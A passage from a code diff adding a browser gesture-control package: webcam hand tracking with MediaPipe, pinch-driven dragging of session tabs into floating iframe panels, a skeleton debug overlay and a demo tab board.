+   *  re-floating an existing id just repositions the panel it already has. */
+  private floatPanel(id: string, x: number, y: number): void {
+    let float = this.floats.get(id);
+    if (!float) {
+      const container = el('div', 'cg-float');
+      container.dataset.id = id;
+      const bar = el('div', 'cg-float-bar');
+      bar.textContent = `session ${id}`;
+      const frame = el('iframe', 'cg-float-frame') as HTMLIFrameElement;
+      frame.src = `/session/${encodeURIComponent(id)}`;
+      frame.title = `Session ${id}`;
+      container.append(bar, frame);
+      document.body.append(container);
+      float = { id, el: container };
+      this.floats.set(id, float);
+      this.flash('floated out');
+    } else {
+      this.flash('re-floated');
+    }
+    this.moveFloat(float, x - FLOAT_W / 2, y - FLOAT_H / 2);
+  }
+
+  /** Re-dock a floated session: drop its in-page panel. The original
+   *  `.session-tab` was never removed, so the session is simply back to plain
+   *  tab form. Mirrors Codeman's own `.detached` → attach toggle. */
+  private redock(id: string): void {
+    const float = this.floats.get(id);
+    if (!float) return;
+    float.el.remove();
+    this.floats.delete(id);
+    this.flash('re-docked');
+  }
+
+  /** Position a float by its top-left corner, clamped to stay on-screen. */
+  private moveFloat(float: FloatingPanel, left: number, top: number): void {
+    const l = Math.min(Math.max(0, left), Math.max(0, window.innerWidth - FLOAT_W));
+    const t = Math.min(Math.max(0, top), Math.max(0, window.innerHeight - FLOAT_H));
+    float.el.style.left = `${l}px`;
+    float.el.style.top = `${t}px`;
+  }
+
+  private positionGhost(ghost: HTMLElement, x: number, y: number): void {
+    ghost.style.left = `${x}px`;
+    ghost.style.top = `${y}px`;
+  }
+
+  private cancelAllGrabs(): void {
+    // Floats themselves persist (they're placed windows) — only release any
+    // in-progress grab cleanly, restoring a moved panel's interactivity.
+    for (const grab of this.grabs.values()) {
+      if (grab.kind === 'tab') {
+        grab.ghost.remove();
+        grab.tab.classList.remove('cg-grabbed');
+      } else {
+        grab.panel.el.style.pointerEvents = '';
+        grab.panel.el.classList.remove('cg-float-grabbed', 'cg-redock');
+      }
+    }
+    this.grabs.clear();
+    for (const tap of this.taps.values()) tap.el.classList.remove('cg-tap-armed');
+    this.taps.clear();
+    document
+      .querySelectorAll(`${TAB_SELECTOR}.cg-grabbed, .cg-tap-armed`)
+      .forEach((t) => t.classList.remove('cg-grabbed', 'cg-tap-armed'));
+  }
+
+  private onStatus(fps: number, hands: HandState[]): void {
+    // Draw per-hand cursor dots (green while pinching) so the user can aim.
+    const { width, height } = this.canvas;
+    const dpr = window.devicePixelRatio || 1;
+    this.ctx.clearRect(0, 0, width, height);
+    const rect = this.surface.getBoundingClientRect();
+    for (const h of hands) {
+      const x = (1 - h.cursor.x) * rect.width;
+      const y = h.cursor.y * rect.height;
+      this.ctx.beginPath();
+      this.ctx.arc(x * dpr, y * dpr, (h.pinching ? 14 : 9) * dpr, 0, Math.PI * 2);
+      this.ctx.fillStyle = handColor(h.handedness, h.pinching);
+      this.ctx.globalAlpha = 0.85;
+      this.ctx.fill();
+      this.ctx.globalAlpha = 1;
+    }
+    if (this.running && this.grabs.size === 0 && this.taps.size === 0) {
+      this.status.textContent = `on · ${fps}fps`;
+    }
+  }
+
+  private flash(msg: string): void {
+    this.status.textContent = msg;
+  }
+
+  private sizeCanvas(): void {
+    const dpr = window.devicePixelRatio || 1;
+    this.canvas.width = Math.floor(window.innerWidth * dpr);
+    this.canvas.height = Math.floor(window.innerHeight * dpr);
+  }
+}
+
+// ---- tiny helpers ------------------------------------------------------
+
+function el(tag: string, className: string): HTMLElement {
+  const node = document.createElement(tag);
+  node.className = className;
+  return node;
+}
+
+/** Best-effort human-readable message for any thrown value (Error or not). */
+function describeError(err: unknown): string {
+  if (err instanceof Error) return err.message || err.name || 'Error';
+  if (typeof err === 'string') return err;
+  if (typeof err === 'number') return `code ${err}`;
+  if (err && typeof err === 'object') {
+    const m = (err as { message?: unknown }).message;
+    if (typeof m === 'string' && m) return m;
+    try {
+      return JSON.stringify(err);
+    } catch {
+      return Object.prototype.toString.call(err);
+    }
+  }
+  return String(err);
+}
+
+function injectStyles(): void {
+  if (document.getElementById('cg-styles')) return;
+  const css = `
+  .cg-surface, .cg-canvas { position: fixed; inset: 0; pointer-events: none; }
+  .cg-surface { z-index: ${Z}; }
+  .cg-canvas  { z-index: ${Z + 1}; width: 100vw; height: 100vh; }
+  .cg-preview { transform: scaleX(-1); pointer-events: none; background: #000; }
+  .cg-preview.cg-pip {
+    position: fixed; right: 12px; bottom: 12px; width: 240px; height: 135px;
+    object-fit: cover; border-radius: 8px; z-index: ${Z + 2};
+    box-shadow: 0 4px 16px rgba(0,0,0,.5); opacity: 1;
+  }
+  .cg-preview.cg-full {
+    position: fixed; inset: 0; width: 100vw; height: 100vh;
+    object-fit: cover; opacity: .28; z-index: ${Z};
+  }
+  .cg-ghost {
+    position: fixed; left: 0; top: 0; transform: translate(-50%, -50%) scale(1.06);
+    z-index: ${Z + 2}; pointer-events: none; opacity: .92;
+    box-shadow: 0 8px 28px rgba(0,0,0,.55); border-radius: 8px;
+    outline: 2px solid #38bdf8; outline-offset: -2px;
+  }
+  .cg-ghost.cg-armed { outline-color: #4ade80; box-shadow: 0 8px 28px rgba(74,222,128,.5); }
+  .cg-dock {
+    position: fixed; right: 12px; bottom: 156px; z-index: ${Z + 3};
+    display: flex; align-items: center; gap: 8px; font: 12px/1 system-ui, sans-serif;
+  }
+  .cg-btn {
+    padding: 6px 12px; border-radius: 6px; border: 1px solid #3a3a40;
+    background: #1b1b1f; color: #e5e5e7; cursor: pointer;
+  }
+  .cg-btn-icon { padding: 6px 9px; }
+  .cg-btn.on { background: #16331f; border-color: #2f6b41; color: #4ade80; }
+  .cg-status { color: #9aa0a6; max-width: 220px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
+  .session-tab.cg-grabbed { opacity: .35; outline: 2px dashed #4ade80; outline-offset: -2px; }
+  .cg-tap-armed { outline: 2px solid #4ade80 !important; outline-offset: 2px; box-shadow: 0 0 0 4px rgba(74,222,128,.25) !important; }
+  .cg-float {
+    position: fixed; left: 0; top: 0; width: ${FLOAT_W}px; height: ${FLOAT_H}px;
+    z-index: ${Z}; display: flex; flex-direction: column; overflow: hidden;
+    background: #0c0c0f; border-radius: 10px; outline: 2px solid #38bdf8;
+    outline-offset: -2px; box-shadow: 0 10px 40px rgba(0,0,0,.6);
+  }
+  .cg-float.cg-float-grabbed { outline-color: #4ade80; box-shadow: 0 12px 48px rgba(74,222,128,.45); }
+  .cg-float.cg-redock { outline-color: #fbbf24; box-shadow: 0 12px 48px rgba(251,191,36,.5); }
+  .cg-float-bar {
+    flex: 0 0 auto; padding: 4px 10px; font: 11px/1.6 system-ui, sans-serif;
+    color: #cbd5e1; background: #15151a; border-bottom: 1px solid #2a2a30;
+    user-select: none; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
+  }
+  .cg-float-frame { flex: 1 1 auto; width: 100%; border: 0; background: #000; }
+  `;
+  const style = document.createElement('style');
+  style.id = 'cg-styles';
+  style.textContent = css;
+  document.head.append(style);
+}
+
+// Idempotent bootstrap — re-importing must not stack overlays.
+if (!window.__codemanGesture) {
+  window.__codemanGesture = new GestureBridge();
+}

packages/gesture-control/src/demo/overlay.ts

@@ -0,0 +1,120 @@
+// Debug overlay: draws the 21-point hand skeleton over the (mirrored) video.
+//
+// The <video> is mirrored via CSS (transform: scaleX(-1)). To make the drawn
+// skeleton line up with what you see, we mirror the X coordinate here
+// (x_draw = (1 - x) * width) rather than CSS-mirroring the canvas — that keeps
+// any future text we draw readable.
+
+import type { GestureRecognizerResult } from '@mediapipe/tasks-vision';
+import { HAND_CONNECTIONS } from '../gesture/landmarks.ts';
+
+/** A cursor to draw: raw normalized position + base color + pinch state. */
+export interface CursorMark {
+  x: number;
+  y: number;
+  color: string;
+  pinching: boolean;
+}
+
+export class Overlay {
+  private ctx: CanvasRenderingContext2D;
+
+  constructor(
+    private canvas: HTMLCanvasElement,
+    private video: HTMLVideoElement
+  ) {
+    const ctx = canvas.getContext('2d');
+    if (!ctx) throw new Error('Could not get 2D context for overlay canvas');
+    this.ctx = ctx;
+  }
+
+  /** Match the canvas backing-store resolution to the displayed video size. */
+  private syncSize(): void {
+    const w = this.video.videoWidth || this.video.clientWidth;
+    const h = this.video.videoHeight || this.video.clientHeight;
+    if (w && h && (this.canvas.width !== w || this.canvas.height !== h)) {
+      this.canvas.width = w;
+      this.canvas.height = h;
+    }
+  }
+
+  clear(): void {
+    this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
+  }
+
+  /**
+   * Draw the detected hands' skeletons plus one smoothed cursor per hand.
+   * Cursor coords are raw normalized [0,1] (mirrored here, like the skeleton).
+   */
+  draw(result: GestureRecognizerResult, cursors: CursorMark[] = []): void {
+    this.syncSize();
+    const { width: w, height: h } = this.canvas;
+    const ctx = this.ctx;
+    ctx.clearRect(0, 0, w, h);
+
+    const hands = result.landmarks ?? [];
+    for (const landmarks of hands) {
+      // Connections (bones)
+      ctx.strokeStyle = 'rgba(80, 220, 255, 0.9)';
+      ctx.lineWidth = 3;
+      for (const [a, b] of HAND_CONNECTIONS) {
+        const pa = landmarks[a];
+        const pb = landmarks[b];
+        if (!pa || !pb) continue;
+        ctx.beginPath();
+        ctx.moveTo((1 - pa.x) * w, pa.y * h);
+        ctx.lineTo((1 - pb.x) * w, pb.y * h);
+        ctx.stroke();
+      }
+
+      // Joints (points)
+      for (let i = 0; i < landmarks.length; i++) {
+        const p = landmarks[i];
+        const x = (1 - p.x) * w;
+        const y = p.y * h;
+        // Highlight thumb tip (4) + index tip (8) — these drive the cursor later.
+        const isPinchPoint = i === 4 || i === 8;
+        ctx.fillStyle = isPinchPoint ? '#ffd166' : '#ff5d8f';
+        ctx.beginPath();
+        ctx.arc(x, y, isPinchPoint ? 7 : 4, 0, Math.PI * 2);
+        ctx.fill();
+      }
+    }
+
+    for (const c of cursors) this.drawCursor(c, w, h);
+  }
+
+  /** A ring + crosshair at the cursor; green + filled while pinching. */
+  private drawCursor(cursor: CursorMark, w: number, h: number): void {
+    const ctx = this.ctx;
+    const cx = (1 - cursor.x) * w; // mirror X to match the displayed video
+    const cy = cursor.y * h;
+    const pinching = cursor.pinching;
+    const r = pinching ? 16 : 12;
+    const color = pinching ? '#4ade80' : cursor.color;
+
+    if (pinching) {
+      ctx.fillStyle = 'rgba(74, 222, 128, 0.25)';
+      ctx.beginPath();
+      ctx.arc(cx, cy, r, 0, Math.PI * 2);
+      ctx.fill();
+    }
+
+    ctx.strokeStyle = color;
+    ctx.lineWidth = 3;
+    ctx.beginPath();
+    ctx.arc(cx, cy, r, 0, Math.PI * 2);
+    ctx.stroke();
+
+    ctx.beginPath();
+    ctx.moveTo(cx - r - 5, cy);
+    ctx.lineTo(cx - r + 4, cy);
+    ctx.moveTo(cx + r - 4, cy);
+    ctx.lineTo(cx + r + 5, cy);
+    ctx.moveTo(cx, cy - r - 5);
+    ctx.lineTo(cx, cy - r + 4);
+    ctx.moveTo(cx, cy + r - 4);
+    ctx.lineTo(cx, cy + r + 5);
+    ctx.stroke();
+  }
+}

packages/gesture-control/src/demo/tabs.ts

@@ -0,0 +1,209 @@
+// demo/tabs.ts — Phase 3 fake-tab board.
+//
+// 3 columns of draggable "session" tabs, driven entirely by gesture events
+// (no mouse). The board overlays the camera stage, so surface-pixel coords
+// from GestureController map straight onto board-local coords.
+//
+// Source of truth for which tab is in which column is the DOM itself. The
+// state machine here is tiny: grab → (drag)* → drop, tracked per hand so two
+// hands can drag two tabs at once.
+
+interface Tab {
+  id: string;
+  el: HTMLElement;
+}
+
+interface Column {
+  id: string;
+  title: string;
+  el: HTMLElement;
+  list: HTMLElement;
+}
+
+interface Grab {
+  tab: Tab;
+  originList: HTMLElement;
+  w: number;
+  h: number;
+}
+
+/** A hovering cursor for highlight purposes. */
+export interface HoverPoint {
+  x: number;
+  y: number;
+  pinching: boolean;
+}
+
+const INITIAL: Array<{ id: string; title: string; tabs: string[] }> = [
+  { id: 'screen-1', title: 'Screen 1', tabs: ['auth-refactor', 'api-tests'] },
+  { id: 'screen-2', title: 'Screen 2', tabs: ['db-migrate', 'ui-polish', 'docs'] },
+  { id: 'screen-3', title: 'Screen 3', tabs: ['ci-fix'] },
+];
+
+export class TabsBoard {
+  private columns: Column[] = [];
+  private tabs = new Map<string, Tab>();
+  /** hand id → the tab it is currently dragging. */
+  private grabs = new Map<string, Grab>();
+
+  /** @param onDrop notified after a settled drop: (tab, column or null if cancelled). */
+  constructor(
+    private root: HTMLElement,
+    private onDrop?: (tabId: string, columnId: string | null) => void
+  ) {
+    this.build();
+  }
+
+  private build(): void {
+    this.root.classList.add('board');
+    for (const col of INITIAL) {
+      const el = document.createElement('div');
+      el.className = 'column';
+      el.dataset.col = col.id;
+
+      const header = document.createElement('header');
+      header.textContent = col.title;
+
+      const list = document.createElement('div');
+      list.className = 'tablist';
+
+      el.append(header, list);
+      this.root.append(el);
+      this.columns.push({ id: col.id, title: col.title, el, list });
+
+      for (const id of col.tabs) {
+        const tab = this.makeTab(id);
+        list.append(tab.el);
+      }
+    }
+  }
+
+  private makeTab(id: string): Tab {
+    const el = document.createElement('div');
+    el.className = 'tab';
+    el.dataset.tab = id;
+    el.textContent = id;
+    const tab: Tab = { id, el };
+    this.tabs.set(id, tab);
+    return tab;
+  }
+
+  // ---- Geometry --------------------------------------------------------
+
+  /** Element rect in board-local coords (origin = board top-left). */
+  private localRect(el: HTMLElement): DOMRect {
+    const r = el.getBoundingClientRect();
+    const base = this.root.getBoundingClientRect();
+    return new DOMRect(r.left - base.left, r.top - base.top, r.width, r.height);
+  }
+
+  /** Hit-test slop (px). Cursor jitter + a small target shouldn't fight you. */
+  private static readonly GRAB_PAD = 18;
+
+  private static contains(r: DOMRect, x: number, y: number, pad = 0): boolean {
+    return x >= r.left - pad && x <= r.right + pad && y >= r.top - pad && y <= r.bottom + pad;
+  }
+
+  private columnAt(x: number, y: number): Column | null {
+    for (const c of this.columns) {
+      if (TabsBoard.contains(this.localRect(c.el), x, y)) return c;
+    }
+    return null;
+  }
+
+  /** Topmost ungrabbed tab under the point. Nearest-center wins ties so the
+   *  padded hit-areas of adjacent tabs resolve to the most likely target. */
+  private tabAt(x: number, y: number): Tab | null {
+    let best: Tab | null = null;
+    let bestDist = Infinity;
+    for (const tab of this.tabs.values()) {
+      if (this.isGrabbed(tab.id)) continue;
+      const r = this.localRect(tab.el);
+      if (!TabsBoard.contains(r, x, y, TabsBoard.GRAB_PAD)) continue;
+      const cx = r.left + r.width / 2;
+      const cy = r.top + r.height / 2;
+      const d = (x - cx) ** 2 + (y - cy) ** 2;
+      if (d < bestDist) {
+        bestDist = d;
+        best = tab;
+      }
+    }
+    return best;
+  }
+
+  private isGrabbed(tabId: string): boolean {
+    for (const g of this.grabs.values()) if (g.tab.id === tabId) return true;
+    return false;
+  }
+
+  // ---- Highlights (driven each frame from the status snapshot) ---------
+
+  /** Recompute hover highlights from the full set of present cursors. */
+  hover(points: HoverPoint[]): void {
+    this.root.querySelectorAll('.col-hot, .tab-hot').forEach((el) => el.classList.remove('col-hot', 'tab-hot'));
+
+    for (const p of points) {
+      this.columnAt(p.x, p.y)?.el.classList.add('col-hot');
+      // Only show a grab affordance when the hand is open (not pinching).
+      if (!p.pinching) this.tabAt(p.x, p.y)?.el.classList.add('tab-hot');
+    }
+  }
+
+  // ---- Drag state machine ---------------------------------------------
+
+  grab(hand: string, x: number, y: number): void {
+    if (this.grabs.has(hand)) return;
+    const tab = this.tabAt(x, y);
+    if (!tab) return;
+
+    const rect = this.localRect(tab.el);
+    this.grabs.set(hand, {
+      tab,
+      originList: tab.el.parentElement as HTMLElement,
+      w: rect.width,
+      h: rect.height,
+    });
+    tab.el.classList.add('dragging');
+    tab.el.style.width = `${rect.width}px`;
+    // Reparent the floating tab onto the board root before positioning it.
+    // A `.column` can't be the containing block: its `backdrop-filter` makes it
+    // the containing block for absolutely-positioned children, so our
+    // board-local left/top would be offset by the column's own position (tabs
+    // in the middle/right columns flew off to the right). #board has no
+    // filter/transform, so it's a stable origin that matches moveTo's coords.
+    this.root.append(tab.el);
+    this.moveTo(tab.el, x, y, rect.width, rect.height);
+  }
+
+  drag(hand: string, x: number, y: number): void {
+    const g = this.grabs.get(hand);
+    if (!g) return;
+    this.moveTo(g.tab.el, x, y, g.w, g.h);
+  }
+
+  drop(hand: string, x: number, y: number): void {
+    const g = this.grabs.get(hand);
+    if (!g) return;
+    this.grabs.delete(hand);
+
+    const target = this.columnAt(x, y);
+    const dest = target ? target.list : g.originList;
+    dest.append(g.tab.el);
+
+    g.tab.el.classList.remove('dragging');
+    g.tab.el.style.removeProperty('width');
+    g.tab.el.style.removeProperty('left');
+    g.tab.el.style.removeProperty('top');
+
+    this.onDrop?.(g.tab.id, target ? target.id : null);
+  }
+
+  /** Center the floating tab on the cursor (clamped to the board). */
+  private moveTo(el: HTMLElement, x: number, y: number, w: number, h: number): void {
+    const base = this.root.getBoundingClientRect();
+    const left = Math.max(0, Math.min(x - w / 2, base.width - w));
+    const top = Math.max(0, Math.min(y - h / 2, base.height - h));
+    el.style.left = `${left}px`;
+    el.style.top = `${top}px`;
+  }
+}

packages/gesture-control/src/gesture/GestureController.ts

@@ -0,0 +1,386 @@
+// GestureController — core input layer.
+//
+// Phase 0/1 scope (this file currently implements):
+//   - Open the webcam (getUserMedia) and attach it to a <video>.
+//   - Load MediaPipe GestureRecognizer in VIDEO mode (wasm + .task from CDN).
+//   - Run a requestAnimationFrame loop calling recognizeForVideo().
+//   - Emit `status` (fps / handPresent / gesture) and `results` (raw, debug).
+//
+// Later phases add the cursor (One-Euro filtered), pinch hysteresis, the
+// hover/grab/drag/drop state machine, and the discrete gesture command bus.
+// The event surface in types.ts already declares those so the API is stable.
+
+import { FilesetResolver, GestureRecognizer, type GestureRecognizerResult } from '@mediapipe/tasks-vision';
+import type {
+  GestureControllerOptions,
+  GestureEventHandler,
+  GestureEventMap,
+  GestureEventName,
+  HandState,
+} from './types.ts';
+import { LANDMARK, midpoint } from './landmarks.ts';
+import { OneEuroFilter } from './OneEuroFilter.ts';
+import { PinchDetector, pinchDistance } from './pinch.ts';
+import { CommandDetector } from './commands.ts';
+
+const DEFAULTS = {
+  numHands: 1,
+  deviceId: '',
+  pinchOn: 0.35,
+  pinchOff: 0.5,
+  minCutoff: 1.0,
+  beta: 0.01,
+  palmHoldMs: 1000,
+  minDetectionConfidence: 0.6,
+  minTrackingConfidence: 0.6,
+  // Pinned to the @mediapipe/tasks-vision version in package.json.
+  wasmBase: 'https://cdn.jsdelivr.net/npm/@mediapipe/tasks-vision@0.10.21/wasm',
+  modelUrl:
+    'https://storage.googleapis.com/mediapipe-models/gesture_recognizer/gesture_recognizer/float16/1/gesture_recognizer.task',
+} as const;
+
+interface PerHandState {
+  cursorX: OneEuroFilter;
+  cursorY: OneEuroFilter;
+  pinch: PinchDetector;
+  /** Original handedness label (the map key may be disambiguated). */
+  label: string;
+  /** Last emitted surface-pixel position, so we can drop on a vanished hand. */
+  lastX: number;
+  lastY: number;
+}
+
+export class GestureController {
+  private readonly opts: Required<GestureControllerOptions>;
+  private recognizer: GestureRecognizer | null = null;
+  private stream: MediaStream | null = null;
+  private rafId: number | null = null;
+  private running = false;
+
+  // Timestamps must be strictly increasing for recognizeForVideo.
+  private lastVideoTime = -1;
+  private lastTimestamp = -1;
+
+  // FPS tracking (rolling over a short window).
+  private frameTimes: number[] = [];
+
+  // Per-hand smoothing + pinch state, keyed by handedness ("Left"/"Right") so a
+  // hand keeps its own filters even when MediaPipe reorders the hands array.
+  private readonly handStates = new Map<string, PerHandState>();
+
+  // Discrete gesture → command bus (debounced; Open_Palm held = halt-all).
+  private readonly commands: CommandDetector;
+
+  // Internal storage is intentionally loose; the public on/off/emit signatures
+  // below keep callers fully type-safe per event name.
+  private listeners: Partial<Record<GestureEventName, Set<(payload: unknown) => void>>> = {};
+
+  constructor(options: GestureControllerOptions) {
+    this.opts = {
+      surface: options.surface ?? options.video,
+      numHands: options.numHands ?? DEFAULTS.numHands,
+      deviceId: options.deviceId ?? DEFAULTS.deviceId,
+      pinchOn: options.pinchOn ?? DEFAULTS.pinchOn,
+      pinchOff: options.pinchOff ?? DEFAULTS.pinchOff,
+      minCutoff: options.minCutoff ?? DEFAULTS.minCutoff,
+      beta: options.beta ?? DEFAULTS.beta,
+      palmHoldMs: options.palmHoldMs ?? DEFAULTS.palmHoldMs,
+      minDetectionConfidence: options.minDetectionConfidence ?? DEFAULTS.minDetectionConfidence,
+      minTrackingConfidence: options.minTrackingConfidence ?? DEFAULTS.minTrackingConfidence,
+      wasmBase: options.wasmBase ?? DEFAULTS.wasmBase,
+      modelUrl: options.modelUrl ?? DEFAULTS.modelUrl,
+      video: options.video,
+    };
+
+    this.commands = new CommandDetector(this.opts.palmHoldMs);
+  }
+
+  /** Get (or lazily create) the smoothing + pinch state for one hand. */
+  private handState(key: string): PerHandState {
+    let state = this.handStates.get(key);
+    if (!state) {
+      state = {
+        cursorX: new OneEuroFilter(this.opts.minCutoff, this.opts.beta),
+        cursorY: new OneEuroFilter(this.opts.minCutoff, this.opts.beta),
+        pinch: new PinchDetector(this.opts.pinchOn, this.opts.pinchOff),
+        label: key,
+        lastX: 0,
+        lastY: 0,
+      };
+      this.handStates.set(key, state);
+    }
+    return state;
+  }
+
+  // ---- Event emitter ---------------------------------------------------
+
+  on<K extends GestureEventName>(event: K, handler: GestureEventHandler<K>): this {
+    (this.listeners[event] ??= new Set()).add(handler as (payload: unknown) => void);
+    return this;
+  }
+
+  off<K extends GestureEventName>(event: K, handler: GestureEventHandler<K>): this {
+    this.listeners[event]?.delete(handler as (payload: unknown) => void);
+    return this;
+  }
+
+  private emit<K extends GestureEventName>(event: K, payload: GestureEventMap[K]): void {
+    this.listeners[event]?.forEach((h) => h(payload));
+  }
+
+  // ---- Lifecycle -------------------------------------------------------
+
+  /** Request the camera, load the model, and start the recognition loop. */
+  async start(): Promise<void> {
+    if (this.running) return;
+
+    await this.openCamera();
+    await this.loadRecognizer();
+
+    this.running = true;
+    this.lastVideoTime = -1;
+    this.lastTimestamp = -1;
+    this.frameTimes = [];
+    this.handStates.clear();
+    this.commands.reset();
+    this.loop();
+  }
+
+  /** Stop the loop, release the camera, and close the recognizer. */
+  stop(): void {
+    this.running = false;
+    if (this.rafId !== null) {
+      cancelAnimationFrame(this.rafId);
+      this.rafId = null;
+    }
+    if (this.stream) {
+      this.stream.getTracks().forEach((t) => t.stop());
+      this.stream = null;
+    }
+    this.opts.video.srcObject = null;
+    this.recognizer?.close();
+    this.recognizer = null;
+  }
+
+  /** The camera currently in use (resolved deviceId), or "" if not started. */
+  get deviceId(): string {
+    return this.opts.deviceId;
+  }
+
+  /** List available video input devices. Labels are only populated once the
+   *  user has granted camera permission (i.e. after the first start()). */
+  async listCameras(): Promise<MediaDeviceInfo[]> {
+    const devices = await navigator.mediaDevices.enumerateDevices();
+    return devices.filter((d) => d.kind === 'videoinput');
+  }
+
+  /** Switch to a different camera. Reopens the stream live if already running. */
+  async useCamera(deviceId: string): Promise<void> {
+    this.opts.deviceId = deviceId;
+    if (!this.running) return;
+    if (this.stream) {
+      this.stream.getTracks().forEach((t) => t.stop());
+      this.stream = null;
+    }
+    await this.openCamera();
+    // Fresh camera = fresh geometry; drop stale filter state to avoid a snap.
+    this.handStates.clear();
+    this.lastVideoTime = -1;
+  }
+
+  // ---- Setup -----------------------------------------------------------
+
+  private async openCamera(): Promise<void> {
+    if (!navigator.mediaDevices?.getUserMedia) {
+      throw new Error('getUserMedia is not available (needs a secure context).');
+    }
+    const videoConstraints: MediaTrackConstraints = {
+      width: { ideal: 1280 },
+      height: { ideal: 720 },
+      frameRate: { ideal: 60, max: 60 },
+    };
+    // A specific device wins; otherwise ask for the user-facing camera.
+    if (this.opts.deviceId) videoConstraints.deviceId = { exact: this.opts.deviceId };
+    else videoConstraints.facingMode = 'user';
+
+    const stream = await navigator.mediaDevices.getUserMedia({
+      video: videoConstraints,
+      audio: false,
+    });
+    this.stream = stream;
+    // Record the resolved device so callers can pre-select it in a UI.
+    this.opts.deviceId = stream.getVideoTracks()[0]?.getSettings().deviceId ?? this.opts.deviceId;
+    const video = this.opts.video;
+    video.srcObject = stream;
+    video.muted = true;
+    video.playsInline = true;
+    await video.play();
+
+    // Wait until dimensions are known so the overlay can size itself.
+    if (!video.videoWidth) {
+      await new Promise<void>((resolve) => {
+        const onMeta = () => {
+          video.removeEventListener('loadedmetadata', onMeta);
+          resolve();
+        };
+        video.addEventListener('loadedmetadata', onMeta);
+      });
+    }
+  }
+
+  private async loadRecognizer(): Promise<void> {
+    const fileset = await FilesetResolver.forVisionTasks(this.opts.wasmBase);
+    const build = (delegate: 'GPU' | 'CPU') =>
+      GestureRecognizer.createFromOptions(fileset, {
+        baseOptions: {
+          modelAssetPath: this.opts.modelUrl,
+          delegate,
+        },
+        runningMode: 'VIDEO',
+        numHands: this.opts.numHands,
+        minHandDetectionConfidence: this.opts.minDetectionConfidence,
+        minHandPresenceConfidence: this.opts.minDetectionConfidence,
+        minTrackingConfidence: this.opts.minTrackingConfidence,
+      });
+    // GPU is the fast path (60fps on the MacBook). But some environments fail to
+    // init the GPU delegate — and MediaPipe/Emscripten often throws a *non-Error*
+    // value there (a raw number/string), which surfaces upstream as a useless
+    // "failed: undefined". Fall back to CPU so the recognizer still starts.
+    try {
+      this.recognizer = await build('GPU');
+    } catch (err) {
+      console.warn('[gesture] GPU delegate failed; falling back to CPU.', err);
+      this.recognizer = await build('CPU');
+    }
+  }
+
+  // ---- Loop ------------------------------------------------------------
+
+  private loop = (): void => {
+    if (!this.running || !this.recognizer) return;
+    this.rafId = requestAnimationFrame(this.loop);
+
+    const video = this.opts.video;
+    if (video.readyState < 2 /* HAVE_CURRENT_DATA */) return;
+
+    // Strictly increasing timestamp in ms.
+    let ts = performance.now();
+    if (ts <= this.lastTimestamp) ts = this.lastTimestamp + 1;
+    this.lastTimestamp = ts;
+
+    // Only re-run inference when the video frame actually advanced.
+    if (video.currentTime === this.lastVideoTime) return;
+    this.lastVideoTime = video.currentTime;
+
+    let result: GestureRecognizerResult;
+    try {
+      result = this.recognizer.recognizeForVideo(video, ts);
+    } catch (err) {
+      console.error('recognizeForVideo failed', err);
+      return;
+    }
+
+    this.trackFps(ts);
+    this.publish(result, ts);
+  };
+
+  private trackFps(nowMs: number): void {
+    this.frameTimes.push(nowMs);
+    const windowStart = nowMs - 1000;
+    while (this.frameTimes.length && this.frameTimes[0] < windowStart) {
+      this.frameTimes.shift();
+    }
+  }
+
+  private get fps(): number {
+    if (this.frameTimes.length < 2) return 0;
+    const span = this.frameTimes[this.frameTimes.length - 1] - this.frameTimes[0];
+    if (span <= 0) return 0;
+    return Math.round(((this.frameTimes.length - 1) / span) * 1000);
+  }
+
+  private publish(result: GestureRecognizerResult, ts: number): void {
+    const allLandmarks = result.landmarks ?? [];
+    const handedness = result.handedness ?? [];
+    const gestures = result.gestures ?? [];
+    const tSec = ts / 1000;
+
+    // Surface rect → maps normalized [0,1] coords to surface pixels (X mirrored).
+    const rect = this.opts.surface.getBoundingClientRect();
+
+    const hands: HandState[] = [];
+    const activeKeys = new Set<string>();
+
+    for (let i = 0; i < allLandmarks.length; i++) {
+      const lm = allLandmarks[i];
+      if (!lm || lm.length === 0) continue;
+
+      // Key by handedness so each hand keeps its own filters across frames.
+      // Fall back to index, and disambiguate if both hands share a label.
+      const label = handedness[i]?.[0]?.categoryName ?? `hand${i}`;
+      let key = label;
+      if (activeKeys.has(key)) key = `${label}#${i}`;
+      activeKeys.add(key);
+
+      const state = this.handState(key);
+      const mid = midpoint(lm[LANDMARK.THUMB_TIP], lm[LANDMARK.INDEX_TIP]);
+      const cursor = {
+        x: state.cursorX.filter(mid.x, tSec),
+        y: state.cursorY.filter(mid.y, tSec),
+      };
+      const pinchDist = pinchDistance(lm);
+      const changed = state.pinch.update(pinchDist);
+      const gesture = gestures[i]?.[0]?.categoryName ?? null;
+
+      // Pinch state machine → discrete drag events in surface pixels.
+      const sx = (1 - cursor.x) * rect.width;
+      const sy = cursor.y * rect.height;
+      state.lastX = sx;
+      state.lastY = sy;
+      const pointer = { hand: label, x: sx, y: sy };
+      if (state.pinch.isPinching) {
+        this.emit(changed ? 'grab' : 'drag', pointer);
+      } else if (changed) {
+        this.emit('drop', pointer);
+      }
+
+      hands.push({
+        handedness: label,
+        cursor,
+        pinchDist,
+        pinching: state.pinch.isPinching,
+        gesture: gesture && gesture !== 'None' ? gesture : null,
+      });
+    }
+
+    // Drop state for hands that vanished, so a returning hand starts fresh
+    // (no snap from a stale filter position) and the map can't grow unbounded.
+    // If a vanished hand was mid-pinch, emit a drop so nothing stays grabbed.
+    for (const key of [...this.handStates.keys()]) {
+      if (activeKeys.has(key)) continue;
+      const stale = this.handStates.get(key)!;
+      if (stale.pinch.isPinching) {
+        this.emit('drop', { hand: stale.label, x: stale.lastX, y: stale.lastY });
+      }
+      this.handStates.delete(key);
+    }
+
+    // Discrete commands come from open-hand gestures; ignore a hand that's
+    // pinching (mid-drag) so a drag can't be misread as a command.
+    const commandGestures = new Set<string>();
+    for (const h of hands) {
+      if (!h.pinching && h.gesture) commandGestures.add(h.gesture);
+    }
+    for (const name of this.commands.update(commandGestures, ts)) {
+      this.emit('command', { name });
+    }
+
+    // Status first so the overlay can read this frame's cursors in `results`.
+    this.emit('status', {
+      fps: this.fps,
+      hands,
+      haltProgress: this.commands.haltProgress(ts),
+    });
+    this.emit('results', { result, timestampMs: ts });
+  }
+}

packages/gesture-control/src/gesture/OneEuroFilter.ts

@@ -0,0 +1,73 @@
+// One-Euro filter — low-latency smoothing for noisy interactive signals.
